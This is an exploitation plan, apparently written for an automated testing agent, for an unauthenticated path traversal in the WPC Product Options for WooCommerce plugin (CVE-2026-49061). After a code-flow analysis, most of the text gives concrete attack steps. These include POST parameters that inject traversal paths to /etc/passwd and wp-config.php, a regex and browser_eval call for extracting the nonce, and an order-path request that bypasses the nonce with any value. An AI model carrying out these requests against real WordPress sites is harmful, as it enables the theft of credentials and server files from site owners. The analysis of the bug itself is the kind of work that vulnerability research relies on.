Exploitation Research Plan: CVE-2026-49061 (WPC Product Options Path Traversal)

1. Vulnerability Summary

The WPC Product Options for WooCommerce plugin (versions <= 3.2.1) is vulnerable to an Unauthenticated Arbitrary File Download via Path Traversal. The vulnerability exists in the process_file_link method of the Wpcpo_Cart class. The plugin allows users to add custom data to cart items, including file paths intended for legitimate file uploads. However, the plugin fails to validate these paths when processing a download request and, in the case of order-related downloads, fails to properly verify security nonces.

2. Attack Vector Analysis

• Vulnerable Endpoint: Any frontend page (the function is hooked to the wp action).
• Vulnerable Parameters: wpcpo-key, wpcpo-cart-item (for cart items) or wpcpo-order-item (for order items).
• Authentication: None required (unauthenticated).
• Preconditions:
  1. WooCommerce must be active.
  2. An attacker must be able to add an item to the cart with a manipulated file attribute in the wpcpo-options array.
  3. For the "Cart" path, a nonce wpcpo_cart_file is required.
  4. For the "Order" path, a nonce is required but not verified, only checked for existence.

3. Code Flow

The vulnerability is located in includes/class-cart.php:

1. Entry Point: The Wpcpo_Cart constructor registers process_file_link to the wp hook:
   add_action( 'wp', [ $this, 'process_file_link' ] );
2. Order Download Path (The "Zero-Auth" Path):
   • The function checks isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] ).
   • CRITICAL BUG: It checks isset($_GET['_wpnonce']) but never calls wp_verify_nonce() for the order-item block.
   • It retrieves metadata: $options = wc_get_order_item_meta( $order_item_id, '_wpcpo_options_v2' ).
   • It extracts the path: $tmp_file_name = $options[ $file_key ]['file'];.
   • It passes this directly to the sink: readfile( $tmp_file_name );.
3. Cart Download Path:
   • The function verifies a nonce: wp_verify_nonce( $_GET['_wpnonce'], 'wpcpo_cart_file' ).
   • It retrieves the path from the current session: $tmp_file_name = WC()->cart->cart_contents[ $cart_item_key ]['wpcpo-options'][ $file_key ]['file'];.
   • Sink: readfile( $tmp_file_name );.

The core issue is that the file attribute in wpcpo-options (stored in cart session or order meta) is populated via add_cart_item_data without path validation, allowing traversal strings like ../../../../wp-config.php.

4. Nonce Acquisition Strategy

Cart Path (wpcpo_cart_file)

If using the cart-based exploitation (no checkout required):

1. Identify Trigger: The nonce is generated when a cart item with a file option is displayed.
2. Shortcode/Page: Navigate to the WooCommerce Cart page (/cart/).
3. Extraction: The plugin uses woocommerce_get_item_data to render option details. If an item has a "file" option, it generates a download link.
4. Browser Eval: Use browser_eval on the Cart page to extract the nonce from the href of the download link.
   • browser_eval("document.querySelector('a[href*=\"wpcpo-cart-item\"]').href")

Order Path (Bypass)

The Order path in process_file_link is fundamentally broken:

if ( isset( $_GET['wpcpo-key'], $_GET['wpcpo-order-item'] ) && isset( $_GET['_wpnonce'] ) ) {
    // ... logic follows without calling wp_verify_nonce()
}

No valid nonce is required. Any value (e.g., _wpnonce=1) will satisfy the isset check.

5. Exploitation Strategy

Phase 1: Inject Malicious Path into Cart

Perform a POST request to add a product to the cart while injecting the traversal path.

• Target: A product page (e.g., /?product=test-product) or /?add-to-cart=ID.
• Parameters:
  • add-to-cart: [PRODUCT_ID]
  • wpcpo-options[wpcpo-exploit][file]: ../../../../../../../../../../etc/passwd
  • wpcpo-options[wpcpo-exploit][url]: 1 (required to trigger the isset check in process_file_link)
  • wpcpo-options[wpcpo-exploit][value]: exploit.txt

Phase 2: Retrieve Download Credentials

Navigate to /cart/ to get the wpcpo-cart-item key (a MD5 hash generated by WooCommerce) and the _wpnonce.

• Use http_request to GET /cart/.
• Regex for the download link: \?wpcpo-key=([^&]+)&wpcpo-cart-item=([^&]+)&_wpnonce=([^&"]+).

Phase 3: Trigger Arbitrary Download

Construct the final request.

• URL: /?wpcpo-key=[KEY]&wpcpo-cart-item=[CART_ITEM_KEY]&_wpnonce=[NONCE]
• Expected Response: Contents of /etc/passwd.

6. Test Data Setup

1. Create Product: Use WP-CLI to create a simple product.
   • wp post create --post_type=product --post_title="Exploit Target" --post_status=publish
2. Enable WPC Options: (Optional) The plugin usually requires a "File Upload" field to be configured for a product, but if the add_cart_item_data filter is globally active, it may accept wpcpo-options POST data regardless of backend configuration.
3. Identify Product ID: Get the ID of the created product via wp post list --post_type=product.

7. Expected Results

• The process_file_link function will execute because the wpcpo-key and wpcpo-cart-item (or order-item) parameters are present.
• The isset(WC()->cart->cart_contents[...]) check will pass because we populated the cart via POST.
• The readfile() function will be called with the path ../../../../../../../../../../etc/passwd.
• The HTTP response will contain the sensitive file content with Content-Type: application/octet-stream (or inferred mime type).

8. Verification Steps

1. Check Cart Content: Use WP-CLI to verify the injected data exists in the session (if possible) or simply verify the HTTP response body.
2. Order Meta Verification: If testing the Order path, use WP-CLI to check if the malicious path was saved:
   • wp post meta list [ORDER_ITEM_ID] (Note: Order items are in the woocommerce_order_items table).

9. Alternative Approaches

If add_cart_item_data filters/sanitizes the file key, attempt the Order path by completing a checkout:

1. Add to cart as above.
2. Complete checkout at /checkout/ (use "Check payments" or a free product).
3. Find the order_item_id from the "Order Received" page.
4. Trigger: /?wpcpo-key=wpcpo-exploit&wpcpo-order-item=[ID]&_wpnonce=anyvalue.
5. This bypasses the wp_verify_nonce requirement entirely.